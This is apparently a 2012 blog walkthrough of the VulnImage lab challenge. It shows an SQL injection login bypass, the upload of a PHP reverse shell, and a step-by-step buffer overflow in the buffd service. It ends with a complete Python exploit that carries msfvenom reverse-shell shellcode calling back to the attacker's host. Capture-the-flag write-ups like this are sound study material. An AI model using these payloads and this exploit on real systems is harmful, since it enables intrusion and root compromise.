VulnImage hacking challenge

Written on August 27, 2012

Another virtual machine hacking challenge! This one is called vulnimage and can be downloaded from http://vulnhub.com This one is a little more advanced, requiring the attacker to craft a custom exploit to root the server. Give it a go if you’re interested in exploit development.

netdiscover reports the IP address of the vulnimage server to be 192.168.1.140. We begin by enumerating all services running on the server using onetwopunch.sh:

# echo 192.168.1.140 > t.txt
# onetwopunch.sh t.txt all
[+] scanning 192.168.1.140 for all ports...
[+] obtaining all open TCP ports using unicornscan...
[+] unicornscan -msf 192.168.1.140:a -l udir/192.168.1.140-tcp.txt

While that’s running, we fire up a web browser and attempt to access http://192.168.1.140. A web server is found to be running, hosting what appears to be a blog.

All the posts were made by the user blogger. Looking around the blog, we discover that we can make new posts (http://192.168.1.140/admin/post.php) and change the user’s signature (http://192.168.1.140/admin/profile.php). In both cases, the poster is required to authenticate with a username and password. By entering basic SQL queries into the password field, we discover that both forms are vulnerable to SQL injection attacks. We are able to change the contents of a signature by entering blogger into the username field, the word “Hacked” into the signature field, and the following into the password field:

x' or 'x'='x

Clicking on the Submit button prints a message indicating that we have successfully changed the user’s signature:

The update is verified by returning to the main blogging screen. All the posts made by blogger are now signed with the word “Hacked.”:

Now that we know we can write to a file, we can inject PHP code into it and attempt to obtain a reverse shell into the server. Viewing the source code for profile.php, we notice that signatures appear to be saved in a file with the suffix “sig.txt”

This is a hidden field, which means we should be able to alter it if we can intercept the request to the server. This is easily done with a proxy or Firefox’s TamperData extension. First, we need to locate the signature files.

We launch DirBuster and select the directory-list-2.3-medium.txt file as input for the scan. While DirBuster is scanning for hidden files and directories, we look at the results generated by onetwopunch.sh

Host: 192.168.1.140 () 
22 open tcp  ssh  OpenSSH 5.1p1 Debian 5 (protocol 2.0) 
25 open tcp  smtp  Exim smtpd 4.50 
80 open tcp  http  Apache httpd 2.2.9 ((Debian) PHP|5.2.6-1+lenny9 with Suhosin-Patch) 
139 open tcp  netbios-ssn  Samba smbd 3.X (workgroup: WORKGROUP) 
445 open tcp  netbios-ssn  Samba smbd 3.X (workgroup: WORKGROUP) 
3306 open tcp  mysql  MySQL 5.0.51a-24+lenny4 
7777 open tcp  cbt?    OS: Linux 2.6.5 - 2.6.12 Seq Index: 197 IP ID Seq: All zeros
 
Host: 192.168.1.140 () 
137 open udp  netbios-ns

In addition to the web server, we’ve identified an SSH service, an SMTP service, Samba, MySQL, and one other service running on port 7777. Nmap is unsure of what the service on port 7777 is, so we launch netcat and connect to it:

# nc -v 192.168.1.140 7777
192.168.1.140: inverse host lookup failed: Unknown server error : Connection timed out
(UNKNOWN) [192.168.1.140] 7777 (?) open
HELO
COMMAND:test
RECV: test

The service appears to prompt the user for input, and simply prints it back out - basically an echo server.

Moving back to DirBuster, several directories have been discovered.

Of particular interest are the repo and profiles directories. The repo directory contains a file buffd.c. We download this file for later examination. The profiles directory contains the signature files for each user - exactly what we’re looking for. We can now inject our PHP reverse shell and gain a remote shell on the server.

First, we enable TamperData on Firefox so we can replace the “sig.txt” extension appended to the signature to “.php”. We decide to use /pentest/backdoors/web/webshells/php/php-reverse-shell.php as our reverse shell. The IP address is updated and the port number changed to 443. We paste the contents of php-reverse-shell.php into the signature box, enter our SQL injection, and hit Submit.

TamperData intercepts the request, and gives us a chance to change the file extension to “shell.php”

We submit the update and head over to http://192.168.1.140/profiles to see if our backdoor was created:

Sure enough, our backdoor has been written to the server. We startup a netcat listener on port 443 and click on blogger-shell.php to trigger the reverse shell:

Our shell is running under the context of the www-data user, so we’ll need to find a way to escalate to root. We identify several services running as the root user using the following command:

sh-2.05b$ ps aux | grep root

Of particular interest, is one process called buffd. We had previously obtained a copy of the code for this program from http://192.168.1.140/repo. Examining the code, we find a function called vulnerable which uses strcpy to copy a user provided string into a buffer of 120 bytes.

void vulnerable(char *net_buffer)
{
char local_buffer[120];
strcpy(local_buffer, net_buffer);
return;
}

Since no check is being made to ensure the length of net_buffer is less than 120 bytes, this can overflow the buffer and potentially allow us to overwrite the return address. To test this, we need compile our own local copy of buffd.c and debug it with gdb to examine the program’s behavior.

First, we’ll assume that the target does not use ASLR, so we’ll disable that on Backtrack using the following command:

# echo 0 > /proc/sys/kernel/randomize_va_space

Next, we compile buffd.c with gdb support and no stack smashing protection:

# gcc -ggdb -fno-stack-protector buffd.c -o buffd

Finally, we load buffd into gdb, and tell gdb to debug the child process when it forks from the parent:

# gdb ./buffd
GNU gdb (GDB) 7.1-ubuntu
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/wargames/vulnimage/buffd...done.
(gdb) set follow-fork-mode child
(gdb) run
Starting program: /root/wargames/vulnimage/buffd 
server: waiting for connections...

We’ll start with a basic python skeleton of our proof of concept called poc.py that will attempt to exploit buffd.

#!/usr/bin/env python
import socket
target = "192.168.1.141"
port = 7777
 
# send a payload of 2000 "A" characters
payload = "\x41" * 2000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
 
# receive server's initial HELO message
print s.recv(1024)
 
# server expects a COMMAND, send payload
print "[+] sending payload"
s.send(payload + "\r\n")

We run poc.py and it crashes the child process. gdb captures the crash and tells us the EIP was overwritten with 0x41414141.

server: got connection from 192.168.1.141
[New process 31924]
 
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 31924]
0x41414141 in ?? ()
(gdb) 

This is good news, we know we can overwrite the EIP, so let’s figure out where it is on the stack. We use Metasploit’s pattern_create.rb to generate a string of 2000 characters:

# pattern_create.rb 2000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co

The payload variable is set to use the 2000 character string. gdb is restarted, and poc.py is executed once again.

(gdb) run
Starting program: /root/wargames/vulnimage/foo/buffd 
server: waiting for connections...
server: got connection from 192.168.1.141
[New process 31969]
 
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 31969]
0x41346541 in ?? ()
(gdb) 

EIP has been overwritten with the address 0x41346541. We enter this value into Metasploit’s pattern_offset.rb and discover that EIP is at offset 132:

# pattern_offset.rb 41346541
132

We can now test this by setting EIP to four “B”s. The payload is updated as follows:

payload = "\x41" * 132 + "\x42" * 4
payload += "\x43" * (2000 - len(payload))

Running poc.py triggers the crash and gdb complains that it cannot execute address 0x42424242. We’ve successfully overwritten EIP with a custom address.

(gdb) run
Starting program: /root/wargames/vulnimage/foo/buffd 
server: waiting for connections...
server: got connection from 192.168.1.141
[New process 31993]
 
Program received signal SIGSEGV, Segmentation fault.
[Switching to process 31993]
0x42424242 in ?? ()

Next, we have a look at the contents of the stack:

(gdb) x/20x $esp
0xbfffef30: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffef40: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffef50: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffef60: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffef70: 0x43434343 0x43434343 0x43434343 0x43434343
(gdb) 
0xbfffef80: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffef90: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffefa0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffefb0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffefc0: 0x43434343 0x43434343 0x43434343 0x43434343
(gdb) 
0xbfffefd0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffefe0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbfffeff0: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff000: 0x43434343 0x43434343 0x43434343 0x43434343
0xbffff010: 0x43434343 0x43434343 0x43434343 0x43434343
(gdb) 

It looks like the top of the stack is filled with our string of 0x43 characters. We can inject a backdoor somewhere close to the top of the stack and redirect execution of the program to our backdoor and give us remote root access to the server. In this case, we’ll jump to address 0xbfffefa8

We’ll use msfvenom to generate our shellcode which will be a reverse shell that connects back to a netcat listener on port 4444:

# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.141 LPORT=4444 -b "\x00\x0a\x0d"
[*] x86/shikata_ga_nai succeeded with size 98 (iteration=1)
buf = 
"\xbb\x2a\xe6\x33\x15\xda\xd6\xd9\x74\x24\xf4\x58\x29\xc9" +
"\xb1\x12\x31\x58\x15\x83\xe8\xfc\x03\x58\x11\xe2\xdf\xd7" +
"\xe8\xe2\xfc\x4b\x4c\x5e\x68\x6e\xdb\x81\xdc\x08\x16\xc1" +
"\x47\x8b\xc0\x02\xdf\x32\x9c\xe5\x77\x24\xc2\x8f\xd4\x2c" +
"\xea\x1e\x8a\x39\xeb\xe2\x40\x5c\xb4\x29\x14\xf9\xc3\x6b" +
"\xa4\xc5\x06\x0b\x8d\x40\x60\x5c\x65\x9c\xbd\x2e\x1d\x8a" +
"\xee\xb2\xb4\x24\x78\xd1\x16\xea\xf3\xf7\x26\x07\xc9\x78"

Since we are picking an address on the stack to jump to, we’ll pad the top of the stack with NOPs so that if we hit the NOP sled, we’ll slide down to our shellcode. Our updated poc.py looks like this:

#!/usr/bin/env python
import socket
target = "192.168.1.141"
port = 7777
 
shellcode = (
"\xbb\x2a\xe6\x33\x15\xda\xd6\xd9\x74\x24\xf4\x58\x29\xc9" +
"\xb1\x12\x31\x58\x15\x83\xe8\xfc\x03\x58\x11\xe2\xdf\xd7" +
"\xe8\xe2\xfc\x4b\x4c\x5e\x68\x6e\xdb\x81\xdc\x08\x16\xc1" +
"\x47\x8b\xc0\x02\xdf\x32\x9c\xe5\x77\x24\xc2\x8f\xd4\x2c" +
"\xea\x1e\x8a\x39\xeb\xe2\x40\x5c\xb4\x29\x14\xf9\xc3\x6b" +
"\xa4\xc5\x06\x0b\x8d\x40\x60\x5c\x65\x9c\xbd\x2e\x1d\x8a" +
"\xee\xb2\xb4\x24\x78\xd1\x16\xea\xf3\xf7\x26\x07\xc9\x78"
)
 
payload = "\x41" * 132 + "\xa8\xef\xff\xbf" + "\x90" * 200 + shellcode
payload += "\x43" * (2000 - len(payload))
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
print s.recv(1024)
print "[+] sending payload"
s.send(payload + "\r\n")

We’re still sending 132 bytes of “A”s, followed by the return address pointing somewhere at the top of the stack. This is followed by a NOP sled of 200 bytes, which is then followed by our shellcode. As long as the return address falls somewhere in the 200 byte NOP sled, our shellcode should get executed.

To test it, we setup a netcat listener on port 4444, restart gdb, and execute poc.py once again.

Our exploit works and we’ve obtained a reverse shell into our own machine. We update the target IP address on the exploit to point to the vulnimage server and run the exploit again, which results in… nothing!

Although the exploit works on our machine, it fails against the server. In order to figure out what’s going on, we need debug the instance running on the server itself. We cannot attach gdb to the buffd process as we do not have the same privileges as the process. We also cannot execute /usr/local/sbin/buffd on the server as it will attempt to bind to port 7777 which is already being used by the current buffd process.

The solution is to copy /usr/local/sbin/buffd to /var/www/profiles and transfer it to our machine using wget. The program is then modified using hexedit to change the listening port from 7777 to 7778:

The modified program is copied to our /var/www/ directory, and transferred back to the vulnimage server using wget once again. We can run this modified copy of buffd as our www-data user:

sh-2.05b$ wget http://192.168.1.141/buffd
--10:49:04--  http://192.168.1.141/buffd
           => `buffd'
Connecting to 192.168.1.141:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10,349 [text/plain]
 
    0K ..........                                            100%    1.29 MB/s
 
10:49:04 (1.29 MB/s) - `buffd' saved [10349/10349]
 
sh-2.05b$ chmod 755 buffd
sh-2.05b$ gdb ./buffd
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) set follow-fork-mode child
(gdb) run
Starting program: /tmp/buffd 

Our exploit is modified to connect to port 7778 on the target and we execute it again and see what gdb prints out:

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 3905]
0x41414141 in ?? ()
(gdb) x/20x $esp
0xbffff400: 0x41414141 0xbfffefa8 0x90909090 0x90909090
0xbffff410: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff420: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff430: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff440: 0x90909090 0x90909090 0x90909090 0x90909090
(gdb) 
0xbffff450: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff460: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff470: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff480: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff490: 0x90909090 0x90909090 0x90909090 0x90909090
(gdb) 

It looks like EIP is being overwritten with 0x41414141 and not the address that we had previously selected. This indicates that the offset EIP is in is different on the server. Additionally, the addresses on the stack are different from the ones on our machine.

To fix the exploit, we need to repeat the process used earlier to identify the offset of EIP. pattern_create.rb was used to generate 2000 characters and sent as the input to the program. The address found in EIP was then identified by pattern_offset.rb as position 124. Additionally, we select a new address on the stack to redirect execution to, in this case, 0xbffff488. The payload now looks like this:

payload = "\x41" * 124 + "\x88\xf4\xff\xbf" + "\x90" * 200 + shellcode
payload += "\x43" * (2000 - len(payload))

We run poc.py once again, and this time, we receive a connection on our netcat listener:

We can now try to target the actual service again. poc.py is updated to connect to port 7777 and the exploit is executed:

Our netcat listener receives a connection from the server and grants us a root shell! Game over! The completed poc.py is as follows:

#!/usr/bin/env python
import socket
target = "192.168.1.140"
port = 7777
 
shellcode = (
"\xbb\x2a\xe6\x33\x15\xda\xd6\xd9\x74\x24\xf4\x58\x29\xc9" +
"\xb1\x12\x31\x58\x15\x83\xe8\xfc\x03\x58\x11\xe2\xdf\xd7" +
"\xe8\xe2\xfc\x4b\x4c\x5e\x68\x6e\xdb\x81\xdc\x08\x16\xc1" +
"\x47\x8b\xc0\x02\xdf\x32\x9c\xe5\x77\x24\xc2\x8f\xd4\x2c" +
"\xea\x1e\x8a\x39\xeb\xe2\x40\x5c\xb4\x29\x14\xf9\xc3\x6b" +
"\xa4\xc5\x06\x0b\x8d\x40\x60\x5c\x65\x9c\xbd\x2e\x1d\x8a" +
"\xee\xb2\xb4\x24\x78\xd1\x16\xea\xf3\xf7\x26\x07\xc9\x78"
)
 
payload = "\x41" * 124 + "\x88\xf4\xff\xbf" + "\x90" * 200 + shellcode
payload += "\x43" * (2000 - len(payload))
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
print s.recv(1024)
print "[+] sending payload"
s.send(payload + "\r\n")

I’m sure there are other ways to hack into this server, but writing your own custom exploit just feels a lot more rewarding.